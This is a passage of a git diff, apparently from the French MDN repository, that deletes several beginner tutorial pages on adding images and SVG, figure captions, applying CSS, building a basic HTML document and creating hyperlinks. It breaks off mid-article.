Note : Utilisez les outils de développement du navigateur pour vous aider dans le choix des tailles dont vous avez besoin, comme mentionné plus haut.

-
- -

Résumé

- -

Voilà notre paquet‑cadeau pour des images adaptatives — nous espérons que ces nouvelles techniques vous plaisent. Résumons, nous vous avons exposé deux méthodes distinctes pour résoudre ce problème :

- - - -

Cet article est aussi la conclusion de l'ensemble du module Multimedia et intégration ! Avant de passer à autre chose, il vous reste à essayer notre évaluation multimédia et à voir comment vous vous en sortez. Amusez-vous bien.

- -

Voir aussi

- - - -
{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}}
- -
-

Dans ce module

- - -
diff --git "a/files/fr/apprendre/html/comment/ajouter_des_images_vectorielles_\303\240_une_page_web/index.html" "b/files/fr/apprendre/html/comment/ajouter_des_images_vectorielles_\303\240_une_page_web/index.html" deleted file mode 100644 index a6ea2d91cc..0000000000 --- "a/files/fr/apprendre/html/comment/ajouter_des_images_vectorielles_\303\240_une_page_web/index.html" +++ /dev/null @@ -1,182 +0,0 @@ ---- -title: Ajouter des images vectorielles à une page web -slug: Apprendre/HTML/Comment/Ajouter_des_images_vectorielles_à_une_page_web -tags: - - Graphics - - Guide - - HTML - - Intermediate - - Learn - - SVG -translation_of: Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web ---- -

{{LearnSidebar}}
- {{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}

- -

 

- -
-

Les graphiques vectoriels sont les images adaptatives par excellence : légères et redimensionnables à volonté. Dans cet article, nous verrons comment intégrer des images vectorielles dans une page web.

-
- - - - - - - - - - - - -
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple et comment insérer une image dans un document HTML.
Objectifs :Apprendre comment intégrer une image SVG dans une page web.
- -

Qu'est-ce que SVG ? Qu'apporte-t-il ?

- -

SVG est un langage basé sur {{glossary("XML")}} qui permet de décrire des images vectorielles. Commençons par définir ce qu'est une image vectorielle.

- -

Certaines images (appelées images « matricielles ») sont en fait des tableaux de carrés colorés (appelés pixels). Si on agrandit une image de ce type, à un moment, on arrive à distinguer ces carrés et une ligne diagonale deviendra un « escalier » crénelé.

- -

Au contraire, les images vectorielles décrivent des lignes et des formes. On obtient donc une image qui est toujours nette, quelle que soit la résolution de l'écran ou l'agrandissement effectué sur l'image. Une ligne diagonale sera donc toujours lisse. Une seule image source suffit car il est possible de redimensionner l'image avec CSS plutôt qu'en utilisant srcset et sizes.

- -

De plus, les fichiers dans lesquels on stocke les images vectorielles sont beaucoup plus légers que leurs homologues matriciels. Le texte utilisé dans une image vectorielle reste accessible (ce qui peut également être utilisé lors du référencement). Les images SVG se prêtent particulièrement bien aux animations scriptées car chaque composant des images sera représenté dans le {{glossary("DOM")}}.

- -

Il est possible de coder le SVG à la main grâce à un éditeur de texte. En revanche, pour réaliser des images moyennement complexes, il est préférable d'utiliser un éditeur graphique dédié, comme Inkscape. Malheureusement, les téléphones ne permettent pas de prendre des photos qui soient des images vectorielles mais Inkscape possède une fonctionnalité appelée Trace Bitmap qui permet de passer d'une image matricielle à une image vectorielle. Attention à l'utilisation de fichiers SVG complexes, le traitement de ces fichiers par le navigateur pourra entraîner une baisse des performances.

- -
-

Sous Inkscape, préférez le format « SVG simple » pour sauvegarder vos fichiers, cela permet d'économiser de l'espace. Pour plus d'informations sur la préparation, lire cet article qui décrit comment préparer des fichiers SVG pour les utiliser sur le Web.

-
- -

La méthode rapide : {{htmlelement("img")}}

- -

Vous pouvez simplement faire référence à un fichier SVG au sein de l'élément {{htmlelement("img")}}, comme vous l'auriez fait avec une image matricielle. Il faudra utiliser l'attribut height ou width (voire les deux si le fichier SVG ne possède pas de ratio inhérent). Si ce n'est pas déjà fait, vous pouvez lire ce tutoriel sur <img>.

- -
<img
-    src="equilateral.svg"
-    alt="un triangle aux trois côtés égaux"
-    height="87px"
-    width="100px" />
- -

Avantages

- - - -

Inconvénients

- - - -
- -
- -

Comment inclure une image SVG directement dans le code du document

- -

Il suffit d'ouvrir le fichier SVG avec un éditeur de texte, de copier le tout puis de le coller dans le document. Assurez-vous que votre fragment de code commence et finit avec la balise <svg>. Voici un exemple très simple que vous pouvez directement copier-coller dans votre document :

- -
<svg width="300" height="200">
-    <rect width="100%" height="100%" fill="green" />
-</svg>
-
- -

La balise <svg> n'a pas besoin des attributs version, baseProfile ou xmlns. Assurez-vous de bien retirer les déclarations d'espaces de noms (namespace) éventuellement introduites par Inkscape (en effet, HTML ne tolère que les espaces de noms XHTML, XLink, MathML et SVG). Si vous souhaitez optimiser votre fichier de façon plus approfondie, vous pouvez utiliser SVG Optimiser ou Scour.

- -

Avantages

- - - -

Inconvénients

- - - - - -

Comment intégrer un SVG dans un élément {{htmlelement("object")}}

- -

Cette syntaxe est assez simple et permet également de définir un contenu à utiliser quand SVG n'est pas supporté :

- -
<object data="parallelogramme.svg"
-    width="300"
-    height="250"
-    type="image/svg+xml">
-
-<img src="parallelogramme.png"
-    alt="un quadrilatère dont les côtés sont parallèles deux à deux" />
-
-</object>
-
-
- -

Inconvénients

- - - -

Comment intégrer un SVG avec un élément {{htmlelement("iframe")}}

- -

Vous pouvez ouvrir des images SVG dans votre navigateur de la même façon qu'on peut ouvrir des pages web. Intégrer des images SVG dans un élément <iframe> n'est donc qu'une variation de l'intégration d'une page web dans une autre page web.

- -

Voici un rapide exemple :

- -
<iframe src="triangle.svg" width="500" height="500" sandbox>
-    <img src="triangle.png" alt="Un triangle avec trois côtés inégaux" />
-</iframe>
- -

iframe permet d'afficher un contenu de secours qui ne sera affiché que si le navigateur ne supporte pas les iframe.

- -

De plus, sauf si le SVG et la page web actuelle ont la même {{glossary('origine')}}, il n'est pas possible d'utiliser JavaScript pour manipuler le SVG depuis la page web.

- -

En savoir plus

- - diff --git "a/files/fr/apprendre/html/comment/ajouter_des_images_\303\240_une_page_web/index.html" "b/files/fr/apprendre/html/comment/ajouter_des_images_\303\240_une_page_web/index.html" deleted file mode 100644 index 36c8d1cfbb..0000000000 --- "a/files/fr/apprendre/html/comment/ajouter_des_images_\303\240_une_page_web/index.html" +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: Ajouter des images à une page web -slug: Apprendre/HTML/Comment/Ajouter_des_images_à_une_page_web -tags: - - Beginner - - Composing - - HTML - - NeedsActiveLearning - - OpenPractices -translation_of: >- - Learn/HTML/Multimedia_and_embedding/Images_in_HTML#How_do_we_put_an_image_on_a_webpage -translation_of_original: Learn/HTML/Howto/Add_images_to_a_webpage ---- -

Les images permettent de faire passer des messages plus simplement et plus directement. Elles attirent l'œil du visiteur lorsqu'il consulte le site. Dans cet articles, nous allons voir comment ajouter, simplement, des images à une page web.

- - - - - - - - - - - - -
Prérequis :Vous devriez vous être familiarisé-e avec la création de documents HTML simples.
Objectifs :Apprendre les méthodes simples qui permettent d'ajouter une image dans un document HTML.
- -
-

Cet article illustre uniquement comment insérer une image statique. Attention à la taille des images que vous utilisez, elles doivent rester légères pour être efficacement affichées sur les appareils des personnes dont la connexion est lente ou dont les écrans sont petits. Si vous souhaitez adapter votre contenu en fonction de la taille de l'écran et notamment pour les grands écrans, l'article sur les images adaptatives (responsive) pourra vous intéresser.

-
- -

Ce dont vous avez besoin

- -

Vous allez écrire un élément {{htmlelement("img")}}, mais pour remplir ses attributs correctement, il faut les informations correspondantes :

- - - -

Une fois ces informations récoltées, vous pouvez écrire un élément <img> dans le code de votre page. <img> est un {{glossary("élément vide")}} et il n'y a donc pas de balise fermante </img>, il suffit uniquement de placer une barre oblique (slash) avant le chevron fermant de la balise : <img ... />. Si votre image fournit une information ou une fonctionnalité, votre code devrait ressembler à :

- -
<img
-    src="images/graphique-camembert.png"
-    alt="[ABC Tech posssède 75% de part de marché et XYZ 25%]"
-    height="300px"
-    width="300px"
-/>
-
- -

Si l'image est strictement décorative ou que le contenu associé est déjà fourni par le texte de la page, l'attribut alt peut être laissé blanc :

- -
<img src="images/licorne.png" alt="" />
-
- -
-

Attention ! La plupart des images sont couvertes par le droit d'auteur. Vous ne devez pas afficher une image sur votre page web sauf si

- -
    -
  1. Vous possédez l'image, ou
    2. -
  2. Si vous avez reçu la permission écrite, explicite du propriétaire de l'image, ou
    3. -
  3. Si vous disposez de preuves comme quoi l'image appartient au domaine public
    4. -
- -

De plus, il ne faut jamais faire point l'attribut src vers une image hébergée sur le site de quelqu'un d'autre. Cela s'appelle du "hotlinking" : cela gaspille des ressources vers le site d'origine, ralentit votre page et vous empêche d'être sûr du contenu de votre page (l'image peut être remplacée à tout moment). En bref, c'est totalement immoral.

-
- -

Il est possible de transformer une image en lien en imbriquant un élément {{htmlelement("img")}} dans un élément {{htmlelement("a")}}. Dans ce cas, il est préférable de s'assurer que l'image est plus grande qu'un carré de 45px sur 45 px (sinon les utilisateurs auront du mal à cliquer/appuyer dessus). Pour plus d'informations à ce sujet, voir notre tutoriel sur comment ajouter des hyperliens.

- -

Dans la suite de cet article, nous allons nous intéresser plus en détails à ce qui doit être utilisé pour les attributs height/width, src, et alt.

- -

height et width

- -

height et width ne doivent pas être utilisés pour redimensionner les images dans le navigateurs. Si vous utilisez ces attributs, les valeurs doivent correspondre à la taille réelle, exprimée en pixels, de l'image (votre éditeur d'image favori pourra vous fournir cette information si besoin). Si vous devez redimensionner l'image, utilisez un logiciel d'édition adapté.

- -

Si vous fournissez de mauvaises valeurs pour la hauteur et la largeur, l'image semblera déformée. Si la hauteur et la largeur sont trop grandes, l'image aura l'air pixélisée. Si elles sont trop petites, vous gaspillerez de la bande passante et du temps de calcul en chargeant une image plus grande que nécessaire.

- -

src

- -

Vous pourriez fournir une {{glossary("URL")}} complète, composée d'un chemin absolu et d'un nom de fichier (par exemple https://exemple.com/images/licorne.png) mais cela n'a pas grand intérêt car il y a de très grandes chances que votre image se situe sur le même {{glossary("nom de domaine","domaine")}} que votre page web (encore une fois, le hotlinking est inacceptable).

- -

Si vous ne fournissez qu'un nom de fichier, le navigateur consultera le même dossier que celui du document HTML affiché. Si l'image n'est pas à cet emplacement, le navigateur abandonnera le chargement de l'image.

- -

La plupart du temps, vous aurez à utiliser un chemin relatif suivi d'un nom de fichier. C'est-à-dire qu'on écrit le chemin du fichier relativement à partir de l'endroit où la page est située. Pour ce chemin, on pourra utiliser deux points pour remonter d'un niveau de dossier (../) ou utiliser un seul point (./) pour faire référence au répertoire courant.

- -

Si, par exemple, la page web courante est https://exemple.com/animaux/mythique.html et que l'image se situe à https://exemple.com/images/licorne.png, vous pourrez écrire ce chemin relatif : src="../images/licorne.png".

- -
-

À des fins de référencement ({{glossary("SEO")}}), il est préférable de donner un nom descriptif pour le fichier (licorne.png sera mieux que img835.png). Google recommande également que l'ensemble des images soient placées dans un répertoire images.

-
- -

alt

- -

Il existe différents scénarios selon lesquels les visiteurs de votre site ne pourront profiter des images :

- - - -

Autrement dit : les images ne doivent pas être primordiales pour votre site et le contenu textuel de celui-ci doit suffire entièrement.

- -

Si vous insérez des images dans votre site, vous devez utiliser un attribut alt. Sinon, le navigateur utilisera un motif neutre et inutile quand l'image ne pourra être affichée. Que faut-il donc écrire dans l'attribut alt ? Cela dépend avant tout du rôle de l'image dans la page (en d'autres termes : que perd-t-on comme information si l'image ne s'affiche pas).

- - - -

Le point-clé est de s'assurer que toutes les informations nécessaires sont contenues dans le texte de la page. Il ne faut pas qu'un visiteur qui ne voit pas les images réalise que quelque chose lui manque. Lors de l'écriture de votre page, vous pouvez tester en désactivant les images. Vous verrez par exemple que les expressions comme « une image de » ou « un logo de » sont assez peu utiles pour les textes alternatifs.

- -

En savoir plus

- - diff --git a/files/fr/apprendre/html/comment/annoter_des_images_et_graphiques/index.html b/files/fr/apprendre/html/comment/annoter_des_images_et_graphiques/index.html deleted file mode 100644 index ad32d4ea26..0000000000 --- a/files/fr/apprendre/html/comment/annoter_des_images_et_graphiques/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Annoter des images et graphiques -slug: Apprendre/HTML/Comment/Annoter_des_images_et_graphiques -tags: - - Accessibility - - Beginner - - Guide - - HTML - - Learn -translation_of: >- - Learn/HTML/Multimedia_and_embedding/Images_in_HTML#Annotating_images_with_figures_and_figure_captions -translation_of_original: Learn/HTML/Howto/Annotate_images_and_graphics ---- -
-

HTML fournit une méthode simple pour ajouter des figures et leurs légendes.

-
- - - - - - - - - - - - -
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple.
Objectifs :Apprendre comment ajouter des figures à une page web, accompagnées de leurs légendes.
- -

Qu'est-ce qu'une figure ?

- -

Une figure est une unité de contenu indépendante :

- - - -

Si vous pensez qu'une légende doit être ajoutée à un contenu, c'est qu'il s'agit probablement d'une figure. Voici quelques exemples : des images, des fragments de code, des éléments audio ou vidéo, des équations, des tableaux, des diagrammes.

- -

Pour symboliser des figures, HTML fournit l'élément {{htmlelement("figure")}} :

- -
<figure>
-  <img alt="MDN" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png">
-</figure>
-
- -

Ajouter une légende

- -

Pour ajouter une légende, il suffit de la placer dans un élément {{htmlelement("figcaption")}}, lui-même placé au sein de l'élément <figure> à côté d'une des deux balises <figure> :

- -
<figure>
-  <img alt="" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png">
-  <figcaption>Le logo de MDN en 2014</figcaption>
-</figure>
-
- -

{{htmlelement("figcaption")}} indique au navigateur et aux technologies d'assistance (telles que les lecteurs d'écran) que la légende décrit le contenu de l'élément {{htmlelement("figure")}}.

- -
-

Du point de vue de l'accessibilité, les légendes et les textes de l'attribut {{htmlattrxref('alt','img')}} ont deux rôles différents. Les légendes peuvent être utilisées par l'ensemble des visiteurs, qu'ils voient l'image ou non alors que le texte {{htmlattrxref('alt','img')}} n'est utilisé que lorsque l'image est absente.

- -

Pour cette raison, une légende et le texte alt ne devraient pas être identiques car les deux textes apparaissent lorsque l'image n'apparaît pas. Vous pouvez tester ce point en désactivant les images dans votre navigateur.

-
- -

En savoir plus

- - diff --git "a/files/fr/apprendre/html/comment/appliquer_du_css_\303\240_une_page_web/index.html" "b/files/fr/apprendre/html/comment/appliquer_du_css_\303\240_une_page_web/index.html" deleted file mode 100644 index e0b9c64a2e..0000000000 --- "a/files/fr/apprendre/html/comment/appliquer_du_css_\303\240_une_page_web/index.html" +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Appliquer du CSS à une page web -slug: Apprendre/HTML/Comment/Appliquer_du_CSS_à_une_page_web -tags: - - Beginner - - CSS - - Guide - - HTML -translation_of: Learn/CSS/Introduction_to_CSS/How_CSS_works#How_to_apply_your_CSS_to_your_HTML -translation_of_original: Learn/HTML/Howto/Use_CSS_within_a_webpage ---- -
-

Le code HTML d'une page web définit sa signification et sa structure. Le code CSS, quant à lui, permet de définir la mise en forme d'une page. Dans cet article, nous verrons comment appliquer du code CSS à un document HTML.

-
- - - - - - - - - - - - -
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple.
Objectifs :Apprendre comment appliquer une mise en forme CSS à un document HTML.
- -

À propos de CSS

- -

Un document HTML bien écrit peut être utilisé quel que soit le contexte de présentation. Il est possible de le consulter visuellement (avec un navigateur), auditivement (avec un lecteur d'écran) ou tactilement (avec un affichage Braille). {{glossary("CSS")}} permet de contrôler l'aspect visuel d'un site web. Le navigateur pourra utiliser une feuille de style CSS par défaut, qui se traduira par une mise en forme générique (voire un peu austère) et il est donc préférable de déclarer une mise en forme propre à votre site web afin que celui-ci soit plus agréable à consulter.

- -

Dans cet article, nous verrons comment appliquer du CSS depuis le code HTML. Pour apprendre le fonctionnement du langage CSS, nous vous conseillons de démarrer avec notre guide CSS.

- -

Nous présenterons comment faire référence à une feuille de style CSS externe depuis le document HTML. Cette méthode est généralement la meilleure qui permette d'appliquer du CSS. En effet, une feuille de style centralisée permet d'avoir une mise en forme cohérente sur l'ensemble du site, de faciliter la maintenance du code et d'éviter de télécharger plusieurs ressources. Ceci étant dit, nous présenterons également deux autres méthodes ainsi que leurs avantages et inconvénients.

- -

Référencer une feuille de style externe

- -

Une feuille de style est un simple fichier texte contenant les règles CSS. Vous pouvez donc écrire une feuille de style avec votre éditeur de texte (de la même façon que vous pouvez rédiger un document HTML ou du code JavaScript). Une fois que vous avez écrit votre feuille de style, vous pouvez y faire référence depuis vos pages web grâce à un élément {{HTMLElement('link')}} :

- -
<link href="styles/style.css" rel="stylesheet">
- -

Il vous suffit de modifier l'URL de l'attribut href pour que celui-ci pointe vers votre feuille de style. L'attribut rel="stylesheet" et sa valeur sont nécessaires car l'élément  {{HTMLElement('link')}} peut être utilisé dans d'autres cas. Tous les éléments {{htmlelement("link")}} doivent être placés au sein de l'élément {{HTMLElement('head')}} du document.

- -

Intégrer du CSS avec <style>

- -

L'élément {{htmlelement("style")}} permet d'écrire du CSS directement au sein du document HTML :

- -
<style>
-body {
-  background-color: pink;
-}
-</style>
- -
-

Note : N'utilisez cette méthode que lorsqu'une page web doit être mise en forme de façon unique. Sinon, il est préférable d'utiliser une feuille de style unique pour économiser de la bande passante et avoir une mise en forme cohérente sur l'ensemble du site.

-
- -

Écrire du CSS inline avec l'attribut style

- -

Enfin, vous pouvez utiliser l'attribut style dans n'importe quel élément HTML. Le style ne s'appliquera qu'à l'élément courant :

- -
<span style="color: red;">Non, tout mais pas ça !</span>
- -
-

Attention : Cette méthode est un cauchemar de maintenance et peut grandement influencer la cascade CSS. Elle ne doit donc pas être utilisée, sauf pour tester rapidement quelques scénarios extrêmes (par exemple, lors de la conception d'e-mails en HTML à destination de clients e-mail qui s'avèreraient récalcitrants).

-
- -

En savoir plus

- - diff --git "a/files/fr/apprendre/html/comment/cr\303\251er_un_document_html_simple/index.html" "b/files/fr/apprendre/html/comment/cr\303\251er_un_document_html_simple/index.html" deleted file mode 100644 index 3e911e92c8..0000000000 --- "a/files/fr/apprendre/html/comment/cr\303\251er_un_document_html_simple/index.html" +++ /dev/null @@ -1,189 +0,0 @@ ---- -title: Créer un document HTML simple -slug: Apprendre/HTML/Comment/Créer_un_document_HTML_simple -tags: - - Beginner - - Guide - - HTML - - Learn -translation_of: Learn/HTML/Introduction_to_HTML/Getting_started -translation_of_original: Learn/HTML/Howto/Create_a_basic_HTML_document ---- -

Pour créer un site web, on commence par rédiger un document HTML. Les navigateurs actuels sont plutôt tolérants mais pour éviter quelques maux de tête, mieux vaut l'assembler correctement dès le début.

- - - - - - - - - - - - -
Prérequis :Vous devriez avoir installé un éditeur de texte et connaître quelques rudiments de HTML.
Objectifs :Apprendre à mettre en place un document HTML vierge tout en comprenant le rôle de chaque composant du squelette obtenu.
- -

Chaque document HTML partage la même structure. Cet article décrira chacune des parties de cette structure. Une fois n'est pas coutume, commençons par la fin en regardant la structure complète, avant de la décomposer :

- -
<!DOCTYPE html>
-<html lang="fr">
-  <head>
-    <meta charset="utf-8">
-    <title>Inscrire un titre ici</title>
-    <!-- On peut avoir d'autres méta-données ici -->
-  </head>
-  <body>
-    <!-- Ici, on placera tout le contenu à destination
-    de l'utilisateur -->
-  </body>
-</html>
- -

Dans la suite de cet article, nous verrons les raisons d'être de chacun des morceaux de cet exemple. En attendant, vous pouvez copier/coller cette exemple dans votre éditeur de texte pour avoir un squelette de base, réutilisable pour vos différents documents.

- -

Qu'est-ce qu'un document HTML ?

- -

Un document HTML ou une page web est simplement composé de texte structuré au sein de balise (une balise étant un mot-clé encadré par des chevrons ("<>"), par exemple, dans l'exemple précédent <html> et <body> sont deux des éléments qui sont utilisés). La plupart des balises fonctionnent par paires (on a alors une balise ouvrante <body> et une balise fermante correspondante : </body>). Un {{Glossary('élément')}} est une chaîne de texte entre deux balises.

- -

La plupart des programmes (le plus souvent des {{glossary("navigateur","navigateurs")}}) traitent ces balises pour générer (ou « rendre ») le site que l'utilisateur peut voir, écouter ou ressentir.

- -

Étant donné que HTML est un format textuel, il est possible d'écrire des fichiers HTML avec n'importe quel éditeur de texte. Ajouter des balises HTML au texte est très simple et se fait en un rien de temps. Pour choisir les meilleurs outils, mieux vaut comprendre les balises et  {{Glossary("Attribut","attributs")}} les plus communs. C'est le but de la zone d'apprentissage de MDN.

- -

Dans la suite de cet article, nous expliquerons les différents fragments de l'exemple précédent :

- - - -

Le doctype

- -

La chaîne de texte suivante est appelée {{Glossary("doctype")}} (qui est la contraction, anglaise, de « document » et « type »).

- -
<!DOCTYPE html>
- -

En ce qui concerne HTML, le doctype est un reliquat historique. Pourquoi est-il alors toujours présent ?

- -

Si vous ne commencez pas votre document par <!DOCTYPE html>, les navigateurs afficheront votre document en mode quirks. Le mode quirks est le mode utilisé par le navigateur pour afficher les documents anciens ou malformés, écrits dans les années 1990 lorsque HTML était peu (voire pas du tout) standardisé et que chaque navigateur gérait HTML à sa façon.

- -

Le doctype déclenche l'utilisation du mode standard. Cela fait que la page sera affichée de façon prévisible et cohérente par rapport aux standards définis par le {{glossary("W3C")}} et le {{glossary("WHATWG")}}. Cela signifie également que les navigateurs gèrent les erreurs de façon standard, prévisible et homogène.

- -
-

Attention : Le doctype doit commencer le document HTML avant toute autre chose (pas de commentaires HTML, pas de sauts de ligne, pas de blancs). Certains navigateurs historiques seront très pointilleux à ce sujet et mieux vaut donc respecter cette règle.

-
- -

L'élément <html>

- -

Tout le document (en dehors du doctype) est contenu entre les balises <html> et </html>. Il ne peut y avoir qu'un seul élément {{HTMLElement('html')}} par document.

- -
-

Il est possible d'oublier <html> et le navigateur le comprendra de façon implicite. Cependant, afin de pouvoir manipuler le document dans son ensemble, <html> sera nécessaire. Par exemple, on utilise <html lang="fr"> pour indiquer que le document entier est écrit en français. De la même façon, <html> permettra d'appliquer une mise en forme sur tout le document grâce à CSS.

-
- -

Les éléments <head> et <body>

- -

Au sein de l'élément <html>, le document aura une « tête » (head en anglais) située entre les balises <head> et </head> et un « corps » (body en anglais) situé entre les balises <body> et </body>.

- -

La tête de la page contient les méta-données (c'est-à-dire les données qui décrivent le document) mais pas le contenu principal affiché pour l'utilisateur. Ces méta-données peuvent être utilisées par les moteurs de recherches, pour ajouter des liens vers des feuilles de style CSS, etc. Dans la section qui suit, nous verrons les contenus les plus importants pour cet élément : le titre et la déclaration du jeu de caractères.

- -

Le corps contient le contenu affiché pour l'utilisateur. C'est donc sur cet élément qu'on s'attardera le plus.

- -
-

HTML est très souple à propos de la structure du document, si vous oubliez les éléments <head> et <body>, ils seront implicitement ajoutés. Voici un document sans <html> ni <head> ni <body> :

- -
<!DOCTYPE html>
-<title>Ceci est un document HTML</title>
-
-Coucou monde ! (<i>Hello world!</i>)
-
- -

Le navigateur s'occupera de tout :

- -

[Screenshot of the browser making its best guess]

- -

Même si le navigateur prend soin d'ajouter les balises qui manquent : c'est une mauvaise idée de les oublier. Si vous continuez sur cette voie et que votre contenu devient plus complexe, vous devrez faire confiance au navigateur pour déterminer ce qui est la tête et ce qui est le corps. En explicitant où est <head> et où est <body>, vous gagnerez plus de temps.

-
- -

L'élément <title> : le titre du document

- -

Dans la tête du document, on écrira un titre concis et équivoque qui décrit le document. Il faut que le titre ait du sens sans autre contexte. Récapitulons, voici où va le titre :

- -
<!DOCTYPE html>
-<html>
-    <head>
-        <title>Mon fabuleux exemple HTML</title>
-        ...
-    </head>
-    <body>
-        ...
-    </body>
-</html>
- -

Le titre ne doit contenir que du texte (aucun élément ne sera interprété dans <title>).

- -
-

Là encore, libre à vous de ne pas indiquer le titre et d'en subir les conséquences. Le titre d'un document est notamment utilisé dans les résultats des moteurs de recherche et pour indiquer le propos du document. De plus, les navigateurs graphiques utiliseront les titres pour les libellés des onglets.

- -

S'il n'y a pas de titre, les navigateurs et les moteurs de recherches construiront eux-mêmes le texte, ce qui ne sera pas très parlant :

- -
<!DOCTYPE html>
-<!-- Pas de titre ici -->
-Hello world!
-
- - - - - - - - - - - - - - -
Chrome[Screenshot of a Chrome tab labeled ''index.html'']
Firefox[Screenshot of a Firefox tab labeled with the HTML document's entire path and filename]
-
- -
-
-

Définir le jeu de caractères utilisé

-
-
- -

Les ordinateurs enregistrent toutes les informations sous forme de zéros et de uns. Tous les nombres sont, au final, exprimé en base 2 (c'est-à-dire au format binaire). Pour exprimer d'autres valeurs, il est nécessaire de s'accorder sur un format de représentation qui définit la correspondance entre telle valeur binaire et telle valeur à représenter.

- -

Heureusement, lorsqu'il s'agit de représenter des chaînes de caractères, il existe un standard appelé {{glossary("UTF-8")}} qui permet d'associer des nombres binaires à l'ensemble des glyphes contenus dans les différents langages humains. On peut donc dire, sans ambiguité, que "A" sera stocké avec la valeur "65", ce qui correspond, en écriture binaire, au nombre "01000001". 

- -

D'autres formes d'encodage sont encore utilisées par ailleurs, aussi, pour garantir le résultat obtenu, on déclare explicitement qu'on utilise UTF-8 dans le fichier HTML. C'est pour cette raison que nous avons ajouté <meta charset="utf-8"> dans l'exemple ci-avant.

- -
-

Note : En plus de cette déclaration, il faut également enregistrer le fichier HTML avec l'encodage UTF-8. Généralememnt, vous trouverez une option dans le menu « Enregistrer sous… » qui permet de définir l'encodage à utiliser lors de l'enregistrement.

- -

Voici ce qui se produit si on utilise un document HTML encodé en ISO-8859-1 et non en UTF-8. Le navigateur affichera � à la place des lettres accentuées :

- -

[Screenshot showing the browser displaying ''Les Fran?ais utilisent des lettres accentu?es'']

-
- -

Modèles et gabarits

- -

Au fur et à mesure que vous créerez vos document HTML, vous remarquerez que la même structure revient encore et toujours… et que c'est pénible de la saisir à chaque fois. Pour épargner du temps, vous pouvez sauvegarder ce code dans un fichier modèle que vous pourrez utiliser à chaque fois que vous aurez besoin d'une nouvelle page HTML (pour laquelle il suffira de copier le modèle plutôt que de retaper le code correspondant).

- -

Vous pouvez mettre en place des modèles personnalisés pour les différents projets que vous avez. Cela vous permettra d'éviter d'écrire à chaque fois la même chose pour les barres de navigation, les liens vers les feuilles de styles ou du code qui est réutilisé pour chaque page d'un site (certaines sociétés travaillent même à créer, fournir et vendre des modèles de fichiers HTML).

- -
-

Astuce : Si votre éditeur de texte permet de gérer les snippets (fragments de code), vous pouvez placer votre modèle dans un snippet pour l'invoquer rapidement et générer un début de document à la vitesse de la lumière.

-
- -
-

Astuce : À un certain moment, vous serez devenu-e très familier-e avec HTML. Lorsque ce sera le cas, n'hésitez pas à consulter le projet HTML5 Boilerplate. Celui-ci décrit des templates (modèles) avancés de documents HTML, construits avec les meilleures pratiques du développement web.

-
- -

Exercices

- -

À construire, n'hésitez pas à contribuer !

diff --git "a/files/fr/apprendre/html/comment/cr\303\251er_un_hyperlien/index.html" "b/files/fr/apprendre/html/comment/cr\303\251er_un_hyperlien/index.html" deleted file mode 100644 index 3f2f001f9c..0000000000 --- "a/files/fr/apprendre/html/comment/cr\303\251er_un_hyperlien/index.html" +++ /dev/null @@ -1,192 +0,0 @@ ---- -title: Créer un hyperlien -slug: Apprendre/HTML/Comment/Créer_un_hyperlien -tags: - - Beginner - - HTML - - Learn - - Navigation -translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks -translation_of_original: Learn/HTML/Howto/Create_a_hyperlink ---- -

Dans cet article, nous verrons comment créer des liens {{glossary('accessibilité','accessibles')}} et utiles  au {{glossary("référencement")}}.

- - - - - - - - - - - - -
Prérequis :Vous devriez, au préalable, savoir comment créer un document HTML simple. Il peut également être judicieux de se familiariser avec les URL et la notion d'hyperliens.
Objectifs :Savoir comment mettre en place des liens accessibles et utiles au référencement.
- -

La création de liens est une compétence clé sur le web. Dans cet article, nous verrons en détails l'élément {{htmlelement("a")}} et comment l'utiliser pour créer des liens forts.

- -

Comment créer un lien

- -

Pour fabriquer un lien, vous aurez a minima besoin d'une cible et d'un texte :

- -
-
cible
-
L'{{glossary("URL")}} de la destination du lien (par exemple, "https://www.mozilla.org/firefox/products/")
-
texte
-
Le texte qui décrit la destination offerte par le lien (dans le cas de l'exemple précédent, on pourrait écrire « Cette page présente les différents produits Firefox !")
-
- -

Le texte sera placé entre les balises {{htmlelement('a')}} et la cible sera la valeur de l'attribut {{htmlattrxref('href','a')}}. Mis bout à bout, on obtient ce code :

- -
<a href="https://www.mozilla.org/firefox/products/">
-  Cette page présente les différents produits Firefox !
-</a>
- -

Cela affichera, sur la page web, le lien suivant :

- -

Cette page présente les différents produits Firefox !

- -
-

Astuce : Pour transformer une image en un lien, il suffit de placer l'élément de l'image entre les balises <a>.

- -

L'attribut alt de l'image ne doit pas seulement décrire l'image (« c'est une flèche vers la droite »), mais doit également indiquer aux visiteurs ce qui se produit en suivant le lien (« lire le prochain billet »). Ce tutoriel explique comment insérer des images dans une page web.

-
- -

Les ancres d'une page

- -

Il est également possible de créer un lien qui pointe vers un endroit spécifique d'un document. Cet endroit est appelé une ancre.

- -
    -
  1. Ajoutez un attribut {{htmlattrxref("id")}} à l'élément cible. Par exemple, changez <h2> en <h2 id="les-ancres">.
    2. -
  2. Dans l'URL du lien, placée dans l'attribut {{htmlattrxref("href","a")}}, ajoutez l'identifiant précédé d'un dièse (#) : <a href="http://www.exemple.com/index.html#les-ancres">
    3. -
- -
-

Astuce : La plupart du temps, les visiteurs d'un site s'attendent à ce qu'un lien ouvre une nouvelle page au début de celle-ci (plutôt qu'à un endroit donné, au sein de la page). Certains visiteurs peuvent donc être désorientés lorsqu'ils suivent un lien avec une ancre.

- -

Si vous utilisez des liens avec des ancres, essayez de les mettre en forme afin que les visiteurs du site puissent les reconnaître. Si vous utilisez des ancres entre les pages d'un de vos sites, vous pouvez utiliser {{glossary("JavaScript")}} pour créer un effet de défilement doux.

-
- -

Créer un lien vers une ressource à télécharger

- -

